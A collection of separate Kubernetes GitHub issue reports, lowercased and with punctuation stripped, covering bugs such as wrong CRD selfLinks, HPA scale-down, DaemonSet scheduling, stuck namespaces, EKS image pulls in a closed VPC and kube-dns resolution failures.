\ \ \r     creationtimestamp: 2018-01-26t13:26:21z\r     name: my-new-cron-object\r     namespace: \ \ \r     resourceversion: \ 575\ \r     selflink: /apis/stable.example.com/v1/my-new-cron-object\r     uid: 7f84cda9-029c-11e8-8032-0800275515f6\r   spec:\r     cronspec: '       '\r     image: my-awesome-cron-image\r     replicas: 15\r kind: list\r metadata:\r   resourceversion: \ \ \r   selflink: \ \ \r    \r \r as you can see the selflink is  apis/stable.example.com/v1/my-new-cron-object . this is wrong, it should be  apis/stable.example.com/v1/crontabs/my-new-cron-object . using the selflink as it is causes 404 when fetching the resource via api. \r \r   anything else we need to know?  :\r \r this only happens when the custom resource definition has scope: cluster.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.9.2\r - cloud provider or hardware configuration: 2017 macbook pro \r - os  e.g. from /etc/os-release : macos high sierra 10.13.3\r - kernel  e.g.  uname -a  :  darwin kernel version 17.4.0\r - install tools: minikube 0.24.1\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r kubeadm reset\r error: unknown command \ reset\  for \ kubeadm\ \r run 'kubeadm --help' for usage.\r \r kubeadm: i am an alpha version, my authors welcome your feedback and bug reports\r kubeadm: please create issue an using https://github.com/kubernetes/kubernetes/issues/new\r kubeadm: and make sure to mention @kubernetes/sig-cluster-lifecycle. thank you!\r \r   what you expected to happen  :\r kubeadm reset\r  preflight  running pre-flight checks.\r  reset  stopping the kubelet service.\r  reset  unmounting mounted directories in \ /var/lib/kubelet\ \r  reset  removing kubernetes-managed containers.\r  reset  deleting contents of stateful directories:  /var/lib/kubelet /etc/cni/net.d /var/lib/dockershim /var/run/kubernetes /var/lib/etcd \r  reset  deleting contents of config directories:  /etc/kubernetes/manifests /etc/kubernetes/pki \r  reset  deleting files:  /etc/kubernetes/admin.conf /etc/kubernetes/kubelet.conf /etc/kubernetes/bootstrap-kubelet.conf /etc/kubernetes/controller-manager.conf /etc/kubernetes/scheduler.conf \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :client version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.0-beta.8\ , gitcommit:\ 3040f87c570a772ce94349b379f41f329494a4f7\ , gittreestate:\ clean\ , builddate:\ 2016-09-18t21:06:37z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: azure\r - os  e.g. from /etc/os-release : ubuntu \r - kernel  e.g.  uname -a  :linux devnode1 4.13.0-38-generic  43-ubuntu smp wed mar 14 15:20:44 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r once upgraded to 1.12, daemonset pod scheduling will be taken over by default scheduler instead of daemonset controller. this changes behavior of daemonset a little bit - from \ daemonet controller respects taint\  to \ default scheduler doesn't respect taint\  - check more details on  66348.\r \r in kubeadm's perspective, here are potential impacts:\r \r -  x  ~~hold: all daemonsets launched   directly   by kubeadm would have \ pending\  pod on master node -  as far as i can tell it's just  kube-proxy   - i'm raising pr  66830 to fix this kind of inconsistency.~~ unnecessary due to  66953\r -  x  ~~hold: all   dependent   daemonsets of a fully-functional kubeadm cluster would also have \ pending\  pod on master node - e.g. calico would have \ calico-node\  running on master node. so i would hope kubeadm sig can either notify the \ dependency\  team or make external prs.~~ unnecessary due to  66953\r -     in kubeadm's provision lifecycle, ensure kube-scheduler comes prior to deploying daemonsets.\r -     other impacts ...\r \r btw: to highlight again, only daemonset is effected. that's to say, {kube|core}dns which uses  deployment  behaviors the same.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r \r  \r >  \r \r   what happened  :\r i configure a hpa from 1 pod to 10 pods, using cpu utilization 40%\r it works fine when i increase loading by using jmeter,  but when i stop loading test, the pods only scales down from 10 to 3. i have checked the cpu utilization is 0%\r \r   what you expected to happen  :\r the pods should scale down from 10 to 1\r \r   how to reproduce it  as minimally and precisely as possible   :\r reproduce step:\r 1. rebuild the application pod, set the default replica to 1\r 2. apply the hpa: 1~10 pods, cpu utilization 40%\r 3. start loading test using jmeter, and the pods will scale up from 1 to 10\r 4. stop jmeter. the pods will scale down from 10 to 3\r \r   anything else we need to know?  :\r kubectl describe hpa gets : \r normal  successfulrescale  24m  x16 over 20d   horizontal-pod-autoscaler  new size: 3; reason: all metrics below target\r \r kubectl get hpa gets:\r name              reference                    targets    minpods   maxpods   replicas   age\r database-hpa      deployment/database-pod      0% / 40%   1         10        3          23d\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.10.4-gke.0\r - cloud provider or hardware configuration:\r google cloud platform\r - os  e.g. from /etc/os-release :\r nodes os: container-optimized-os\r container os: centos 7\r - kernel  e.g.  uname -a  :\r linux database-pod-7587cc8bcd-khztw 4.14.22+  1 smp wed may 30 13:49:27 pdt 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r ! default  https://user-images.githubusercontent.com/1677194/43505498-bb916ee4-9599-11e8-8284-74eba8633f79.png \r \r \r \r

limits specified by driver are not being registered in node's capacity/allocatable.\r \r  /assign\r

what happened  :\r \r crio clusters report that you should restart your docker daemon.\r \r   what you expected to happen  :\r \r crio clusters shouldnt worry about docker, need a generic error message.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run  minikube start --container-runtime=cri-o  , and run  kubectl get events  after a while , you may see this.\r \r <!-- do not edit below this line -->\r 

we do not have a easy universal shared file storage example.     this makes it hard to build realistic examples with kubernetes.  for example, any type of batch job typically reads and writes to and from shared storage.   by universal i mean it should work on most or all cloud providers.  this rules out  gcepersistentdisk  and   awselasticblockstore .  by \ shared\  i mean multiple pods on multiple machines are able to read and write the same files.  this rules out  gcepersistentdisk   again ,  emptydir ,  gitrepo ,  secret ,  by \ easy\  i mean that it does not require configuring additional node software to setup. that rules out  nfsvolumesource   xref  12650  15668 .   i don't know if any of the remaining volume sources can work without extra node software   iscsivolumesource ,  glusterfsvolumesource ,  rbdvolumesource ,  cindervolumesource , and  cephfsvolumesource .   at any rate, i don't care which technology we use.  i just care that i can take a \ conforming\  kubernetes cluster, and then do  kubectl create -f some-file-server-rc.yaml -f some-file-server-service.yaml  and have a file server running, and then do   kubectl create -f some-file-using-pod.yaml  and have it use files served by that server.  it don't care if it works with pvs/pvcs; i think it is somewhat better for expository purposes if it works without them.  i don't care if the storage itself is high-availability, \ production-ready\ , or even persistent.  i just want it to work long enough to be able to build demos and examples that use shared storage, have the user understand the pattern, and then be convinced to go to the extra work to setup a \ real\  shared storage system.   @thockin @markturansky

so we avoid situations like: https://github.com/kubernetes/kubernetes/pull/24124/commits/fa9d79df75d0a5326fb6ca72308ebbaf5bde603e r61679635  obviously this is not needed if we just get rid of the sed, salt, jinja, etc.  i don't know which team this belongs to, the team that cares about the sed stuff? if someones adding more jinja, it shouldn't break our non-jinja setup scripts.

this is the first run that failed  all subsequent also failed :\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-large-cluster/117\r \r it might be related to changes @piosz were doing.\r \r    \r i0417 18:29:10.628  \u001b 91m\u001b 1m• failure  9.011 seconds \u001b 0m\r i0417 18:29:10.628   k8s.io  cluster level logging using gcl\r i0417 18:29:10.628  \u001b 90m/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:656\u001b 0m\r i0417 18:29:10.628    \u001b 91m\u001b 1mshould check that logs from containers are ingested in gcl  it \u001b 0m\r i0417 18:29:10.628    \u001b 90m/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster-logging/sd.go:63\u001b 0m\r i0417 18:29:10.629  \r i0417 18:29:10.629    \u001b 91mfluentd deployed incorrectly\r i0417 18:29:10.629    expected error:\r i0417 18:29:10.629        < errors.errorstring | 0xc4227ce5d0>: {\r i0417 18:29:10.629            s: \ node gke-gke-large-cluster-default-pool-0-82e2e705-9p7h doesn't have fluentd instance\ ,\r i0417 18:29:10.629        }\r i0417 18:29:10.629        node gke-gke-large-cluster-default-pool-0-82e2e705-9p7h doesn't have fluentd instance\r i0417 18:29:10.629    not to have occurred\u001b 0m\r i0417 18:29:10.629  \r i0417 18:29:10.629    /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/cluster-logging/sd.go:46\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r 1.6.3\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r all of the salt scripts bundled in kubernetes  for example, https://github.com/kubernetes/kubernetes/blob/master/cluster/saltbase/salt/kube-apiserver/kube-apiserver.manifest  start up the component in a broken way. they use  /bin/sh -c  which means the shell will intercept all signals. so these daemons are not gracefully shutdown when the pod is stopped.\r \r this causes serious problems since when apiserver is killed abruptly it doesn't seem to close watches correctly. this was observed in https://github.com/kubernetes/kubernetes/issues/41916 for example.\r \r   what you expected to happen  :\r \r running  /bin/sh -c  is incorrect. it should run the binary directly. otherwise, it needs to perform an  exec  so the binary correctly replaces the shell script process.\r \r   how to reproduce it    as minimally and precisely as possible :\r run kube-apiserver inside a container with  /bin/sh -c  and try to stop it. you can't - eventually docker will force kill it.\r \r   anything else we need to know  :\r \r

is this a bug report or feature request?   \r bug\r \r   kubernetes version    use  kubectl version  :\r kubernetes 1.5+\r \r   environment  :\r n/a\r \r   what happened  :\r examining events that happened in my cluster, i see an event like the following:\r \r    \r xyz   5s        7d        46927     mongoxyz   pod       spec.containers{mongodb}                  warning   inspectfailed   {kubelet ip-removed}   failed to apply default image tag \  \ : couldn't parse image reference \  \ : invalid reference format\r    \r \r this surprised me, as it implies a container had an imagename=\  \ \r \r   what you expected to happen  :\r i expected a validation failure error if a pod.spec.container i .imagename had leading or trailing whitespace.\r \r   how to reproduce it    as minimally and precisely as possible :\r kubectl create -f my-pod\r kubectl edit pod/my-pod -o json\r change image to \  \ \r save\r \r   anything else we need to know  :\r nope\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r there is a limit 25  for azure file mount number on each node because only 25 drive letters could be used on each windows node, with this pr, there would be no such limit.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  

is this a bug report or feature request?  :\r  \r   what happened  :\r  namespaces stuck terminating. \r   what you expected to happen  :\r namespaces deleted\r   how to reproduce it  as minimally and precisely as possible   :\r i try to delete namespace, but one of nodes in cluster was unavailable at that time. \r \r   anything else we need to know?  :\r after node returned, nothing changed  only pods changed status from unknown to running . after all i can create any resources include namespaces, i can delete any resources except  namespaces. i cant delete namespaces, even now created namespaces.\r   environment  :\r - kubernetes version  use  kubectl version  :client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t08:56:23z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: virtual machine virsh \r - os  e.g. from /etc/os-release : ubuntu 16.04.3 lts \  \\l\r - kernel  e.g.  uname -a  :linux kube-master 4.4.0-97-generic  120-ubuntu smp tue sep 19 17:28:18 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r as the title, can kubectl/k8sapi cmd/interface support specified users of exec function like   docker exec -u   ? or else can we implement it?\r

is this a bug report or feature request?  :\r \r  @kubernetes/sig-scalability-bugs\r / umbrella issue:  56062\r \r   what happened  :\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-large-performance/51 failed with:\r    \r deleting { replicationcontroller} load-small-3305\r expected error:\r     get https://35.196.123.66/api/v1/namespaces/e2e-tests-load-30-nodepods-6-sqrql/replicationcontrollers/load-small-3305: dial tcp 35.196.123.66:443: getsockopt: connection refused\r not to have occurred\r    \r i think shyam has some theory.\r /assign @shyamjvs \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r @kubernetes/sig-storage-bugs \r /assign\r \r   what happened  :\r make sure there's an e2e test for each regression we find.\r \r pr: https://github.com/kubernetes/kubernetes/pull/61371

 \r when the following  yaml  files are applied to a running cluster, the cluster becomes unresponsive with the following alternating error messages:\r \r     $ kubectl describe apiservice v1beta1.custom.metrics.k8s.io\r     unable to connect to the server: unexpected eof\r     $ kubectl describe apiservice v1beta1.custom.metrics.k8s.io\r     the connection to the server 35.193.39.187 was refused - did you specify the right host or port?\r \r if running the cluster in gke, you'll additionally find error messages in the cloud console:\r \r https://snag.gy/tptb7l.jpg\r \r so far, i've been able to reproduce this on the following cluster types:\r   gke w/ 1.9.3-gke.0   n1-standard-1  on  cos  \r   gke w/ 1.9.7-gke.0   n1-standard-1  on  cos  \r   docker for mac w/ 1.9.6 on 18.05.0-ce-rc1  with experimental features \r       sierra 10.12.6, kernel 16.7.0\r \r reproduction steps:\r   build a cluster\r    kubectl apply -f yamls/ \r   once the  gke-queue-autoscaler  pod spins up, attempt to run any  kubectl  commands.\r \r attachments:\r   apply these yamls to replicate:\r         yamls/deployment.yaml   https://pastebin.com/tfflbkzr \r         yamls/service.yaml   https://pastebin.com/maxnqek7 \r         yamls/apiservice.yaml   https://pastebin.com/3ulpgvfk \r   source for  thekevjames/gke-queue-autoscaler :\r        dockerfile  https://pastebin.com/8m4s0nue \r         main.py   https://pastebin.com/pig3htz6 \r \r sample terminal session:\r \r     $ kubectl apply -f deploy\r     apiservice \ v1beta1.custom.metrics.k8s.io\  created\r     deployment \ gke-queue-autoscaler\  created\r     service \ gke-queue-autoscaler\  created\r     $ kubectl describe apiservice v1beta1.custom.metrics.k8s.io\r     name:         v1beta1.custom.metrics.k8s.io\r       snip\r     status:\r       conditions:\r         message:               endpoints for service/gke-queue-autoscaler in \ default\  have no addresses\r         reason:                missingendpoints\r         status:                false\r         type:                  available\r     events:                    <none>\r     $ kubectl get pods\r     name                                    ready     status              restarts   age\r     gke-queue-autoscaler-5956754485-bfpkj   0/1       containercreating   0          18s\r     $ kubectl get pods\r     name                                    ready     status    restarts   age\r     gke-queue-autoscaler-5956754485-bfpkj   1/1       running   0          1m\r     $ kubectl describe apiservice v1beta1.custom.metrics.k8s.io\r     unable to connect to the server: unexpected eof\r     $ kubectl describe apiservice v1beta1.custom.metrics.k8s.io\r     the connection to the server 35.193.39.187 was refused - did you specify the right host or port?\r     $ kubectl get deployments\r     the connection to the server 35.193.39.187 was refused - did you specify the right host or port?\r     $ kubectl get pods\r     the connection to the server 35.193.39.187 was refused - did you specify the right host or port?\r

hello, \r \r i am looking to see if it is possible to have a job run on each node in the cluster once. right now our cluster is dynamically provisioned and scaled and was looking to use the kubernetes job and cronjob feature to run things to setup the node once it is provisioned or have a cron make sure something is cleaned up on each node.

>  linked to <a href=\ https://github.com/google/cadvisor/pull/2028\ >pr</a> for cadvisor\r   environment  :\r kubernetes1.9~\r linux 3.10.0-693.2.2.el7.x86_64\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r when running the command:\r \r   kubectl wait deployment/tiller-deploy --for=delete  \r \r  it waits until the condition is met, and then outputs:\r \r error from server  notfound : deployments.extensions \ tiller-deploy\  not found\r \r   what you expected to happen  :\r \r since this is a successful case for 'delete' condition. it should output something like:\r \r  deployment.extensions/tiller-deploy delete condition met \r \r   how to reproduce it  as minimally and precisely as possible   :\r run the wait command with  --for=delete  after a resource has been deleted\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r  client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t18:02:47z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.11\ , gitcommit:\ 637c7e288581ee40ab4ca210618a89a555b6e7e9\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t14:25:46z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r

what happened  :\r \r now i'm using aws eks, and i am trying to launch a worker with a closed vpc,  i.e. i'm not using internet gateway and nat gateway.\r however, worker did not start.\r    \r $ kubectl get no\r name                                             status     roles    age   version\r ip-10-0-10-245.ap-northeast-1.compute.internal   notready   <none>   58s   v1.12.7\r    \r \r i checked kubelet log, i find out that kubelet cannot pull necessity images from ecr.\r    \r $ journalctl -u kubelet\r ...\r 2019/04/04 05:47:09 ip-10-0-10-245.ap-northeast-1.compute.internal kubelet 4454 : e0404 05:47:09.039972    4454 remote_runtime.go:96  runpodsandbox from runtime service failed: rpc error: code = unknown desc = error response from daemon: get https://602401143452.dkr.ecr.ap-northeast-1.amazonaws.com/v2/eks/pause-amd64/manifests/3.1: no basic auth credentials\r 2019/04/04 05:47:09 ip-10-0-10-245.ap-northeast-1.compute.internal kubelet 4454 : e0404 05:47:09.040332    4454 kuberuntime_sandbox.go:68  createpodsandbox for pod \ kube-proxy-cxhg8_kube-system c5b0357a-569c-11e9-90b9-0ac9980acc4a \  failed: rpc error: code = unknown desc = error response from daemon: get https://602401143452.dkr.ecr.ap-northeast-1.amazonaws.com/v2/eks/pause-amd64/manifests/3.1: no basic auth credentials\r 2019/04/04 05:47:09 ip-10-0-10-245.ap-northeast-1.compute.internal kubelet 4454 : e0404 05:47:09.040601    4454 kuberuntime_manager.go:657  createpodsandbox for pod \ kube-proxy-cxhg8_kube-system c5b0357a-569c-11e9-90b9-0ac9980acc4a \  failed: rpc error: code = unknown desc = error response from daemon: get https://602401143452.dkr.ecr.ap-northeast-1.amazonaws.com/v2/eks/pause-amd64/manifests/3.1: no basic auth credentials\r    \r \r therefore i created following vpc endpoint.\r \r   com.amazonaws.ap-northeast-1.ec2\r   com.amazonaws.ap-northeast-1.s3\r   com.amazonaws.ap-northeast-1.ecr.dkr\r   com.amazonaws.ap-northeast-1.ecr.api\r \r but, kubelet couldn't pull images.\r again i checked kubelet log, i got following message.\r    \r $ journalctl -u kubelet\r ...\r 2019/04/04 05:46:54 ip-10-0-10-245.ap-northeast-1.compute.internal kubelet 4454 : caused by: post https://ecr.ap-northeast-1.amazonaws.com/: dial tcp 52.119.220.175:443: i/o timeout\r    \r \r  https://ecr.ap-northeast-1.amazonaws.com/  is different from my assumption\r \r   what you expected to happen  :\r \r access to  https://api.ecr.ap-northeast-1.amazonaws.com/ \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r in aws, launch worker with  this ami  https://github.com/awslabs/amazon-eks-ami  in closed vpc.\r \r   anything else we need to know?  :\r \r i understand that this issue has been resolved in kubelet 1.14.0\r https://github.com/kubernetes/kubernetes/blob/master/changelog-1.14.md other-notable-changes-3\r \r but now, latest kubernetes version supported aws eks is v1.12\r so, i want  this  https://github.com/kubernetes/kubernetes/pull/73435  to be committed to kubelet 1.12.x\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.7\ , gitcommit:\ 6f482974b76db3f1e0f5d24605a9d1d38fad9a2b\ , gittreestate:\ clean\ , builddate:\ 2019-03-27t15:15:05z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.6-eks-d69f1b\ , gitcommit:\ d69f1bf3669bf00b7f4a758e978e0e7a1e3a68f7\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t20:26:10z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: \r aws\r - os  e.g:  cat /etc/os-release  : \r    \r $ cat /etc/os-release\r name=\ amazon linux\ \r version=\ 2\ \r id=\ amzn\ \r id_like=\ centos rhel fedora\ \r version_id=\ 2\ \r pretty_name=\ amazon linux 2\ \r ansi_color=\ 0;33\ \r cpe_name=\ cpe:2.3:o:amazon:amazon_linux:2\ \r home_url=\ https://amazonlinux.com/\ \r    \r - kernel  e.g.  uname -a  : \r    \r $ uname -a\r linux ip-172-16-3-234.ap-northeast-1.compute.internal 4.14.104-95.84.amzn2.x86_64  1 smp sat mar 2 00:40:20 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: \r aws eks, cloudformation\r - others:\r

http://kubernetes.io/v1.1/docs/getting-started-guides/ubuntu.html      $ cd kubernetes/cluster/ubuntu $ ./build.sh      appears to be not super usable anymore -- cc @resouer  you're the only public member of @zju-sel, the folks marked as the maintainer

puts are not doing what i expect them to do.    bad case 1   put /api/v1beta1/pods/a  body:              {           \ kind\ : \ pod\ ,           \ apiversion\ : \ v1beta1\ ,           \ id\ : \ a\ ,           \ desiredstate\ : {             \ manifest\ : {               \ version\ : \ v1beta1\ ,               \ id\ : \ a\ ,               \ containers\ :  { \ name\ : \ foo\ , \ image\ : \ bar/foo\ , }              }           },         }      i expected 200 since post of the same body to \ /api/v1beta1/pods\ . or, if that is the wrong way to do a put, then i would expect a 400, but not a 500.  500 is for server errors.  here is the response body:      {\ kind\ :\ status\ ,\ creationtimestamp\ :null,\ selflink\ :\ /api/v1beta1/pods/a\ ,\ apiversion\ :\ v1beta1\ ,\ status\ :\ failure\ ,\ message\ :\ 100: key not found  /registry/pods   9 \ ,\ code\ :500}        bad case 2  previous cases are where no object existed. next case is an update  created object named  a  with a post already    put /api/v1beta1/pods/a  same body as above.  i was expecting 200, but i got 500.  i'd take a 400 or 404 over a 500, though.  response body:      {\ kind\ :\ status\ ,\ creationtimestamp\ :null,\ selflink\ :\ /api/v1beta1/pods/a\ ,\ apiversion\ :\ v1beta1\ ,\ status\ :\ failure\ ,\ message\ :\ 105: key already exists  /registry/pods/default/a   10 \ ,\ code\ :500}

accepting objects until the master runs out of resources doesn't help anyone.  i think something really dumb  like counting objects  would catch most non blackhat cases, like a rogue kubectl shell script. we can also rate limit ssl handshakes at the very least  i'm fairly certain we can do someting in iptables eg: https://github.com/vincentbernat/ssl-dos/blob/master/iptables.sh .

we have lots of controllers now and lots of volume types, so it's important to explain system concepts in terms of categories of objects:  primary: - running workloads: controllers, and pods they control, which are comprised of containers and volumes - exposing workloads: services, ingress  secondary: - policies: limitrange, resourcequota, podsecuritypolicy, ...  cc @kubernetes/docs

when stress-testing an unrelated component, i scaled up 5000 pods covered by the same service. the latency of the verb=put,resource=endpoint requests, as reported by kube-apiserver, went through the roof with a peculiar curve:  ! grafana_-_k8s___overview  https://cloud.githubusercontent.com/assets/131590/14688384/dd29c61c-0731-11e6-96be-efb09d5bc015.png   i think the problem is that endpoint is one object containing a list of ip:port pairs. this list gets larger and larger, thus updating it takes much longer. this should also affect get but at a much lower level.  the levelling off is the rate of additions going down because each endpoint addition takes longer. i think the behaviour here can be improved; i will file a separate issue for this.  as far as i can tell, this is inherent in the endpoint data structure.  here is the etcd latency  again, as reported by kube-apiserver  for the same timeframe:  ! grafana_-_k8s___overview  https://cloud.githubusercontent.com/assets/131590/14688497/61f20fc6-0732-11e6-96ee-9b5204b054f6.png   relates to  10436

i'd like to be able to specify in a rc/deployment that the pod members should land on nodes that have a certain set of labels, but that the value should be different for each member.  so, for example, say i tag my nodes with which rack, and chassis  multiple nodes per power supply , they are located in. i may want to say, node-anti-affinity:  rack, chassis . this spreads out the failure domain as much as possible for the pods.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-kops-aws-updown/2695/  failed:  k8s.io  networking  k8s.io  granular checks: pods should function for node-pod communication: http  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/networking.go:52 oct 17 11:50:40.274: failed to find expected endpoints: tries 0 command curl -q -s --connect-timeout 1 http://100.96.2.6:8080/hostname retrieved map   expected map netserver-1:{}   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:255      previous issues for this test:  33631  33995

monitoring/logging agents running on a node needs to know which pod a given container belongs to. currently there is a lot of hacks around this:\r - filepath for logging\r - labels on docker\r - reverse lookup from api server\r \r each of them has obvious drawbacks. we need a consistent solution for this problem.\r \r cc @dchen1107 @kubernetes/sig-instrumentation @kubernetes/sig-node \r

the windows kubelet logs show many errors and exceptions from kubelet because the windows environment is different.\r \r so article shows these common errors:\r http://stackoverflow.com/questions/43148284/azure-k8s-windows-cluster-internal-error-missing-stats-for-root-container\r \r e0331 16:53:48.527868     900 eviction_manager.go:205  eviction manager: unexpected err: missing stats for root container\r e0331 16:53:55.757082     900 kubelet.go:1634  failed to check if disk space is available for the runtime: could not determine capacity for \ runtime\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-03-31 16:53:55.7570827 +0000 gmt}\r e0331 16:53:55.757082     900 kubelet.go:1642  failed to check if disk space is available on the root partition: could not determine capacity for \ root\  fs. info: {usage:0 capacity:0 available:0 timestamp:2017-03-31 16:53:55.7570827 +0000 g\r e0331 16:54:04.462246     900 handler.go:246  http internalservererror serving /stats/summary: internal error: missing stats for root container\r  \r this issue is resolved once all common errors have disappeared from the first 5 minutes of startup.

env  :\r \r kubernetes 1.7.11\r docker 1.12.6\r flannel 0.7.1\r \r   what happened  :\r \r kube-dns does not work, see below:\r \r  root@k8s-node-1 ~   docker exec -it busybox /bin/sh\r /   cat /etc/resolv.conf\r nameserver 169.169.0.10\r search default.svc.cluster.local svc.cluster.local cluster.local\r options ndots:5\r /   nslookup kubernetes\r server:    169.169.0.10\r address 1: 169.169.0.10\r \r nslookup: can't resolve 'kubernetes'\r \r   sidecar log  :\r \r  root@k8s-master kubedns   kubectl --server=https://10.202.107.30:6443 --certificate-authority=/var/run/kubernetes/ca.crt --client-certificate=/var/run/kubernetes/cs_client.crt --client-key=/var/run/kubernetes/cs_client.key logs -n kube-system pods/kube-dns-4290396712-47vvj -c sidecar\r error: logging before flag.parse: i1218 13:51:58.237796       1 main.go:49  version v1.14.0-2-g38b2ca3\r error: logging before flag.parse: i1218 13:51:58.238227       1 server.go:45  starting server  options {dnsmasqport:53 dnsmasqaddr:127.0.0.1 dnsmasqpollintervalms:5000 probes: {label:kubedns server:127.0.0.1:10053 name:kubernetes.default.svc.cluster.local. interval:5s type:1} {label:dnsmasq server:127.0.0.1:53 name:kubernetes.default.svc.cluster.local. interval:5s type:1}  prometheusaddr:0.0.0.0 prometheusport:10054 prometheuspath:/metrics prometheusnamespace:kubedns} \r error: logging before 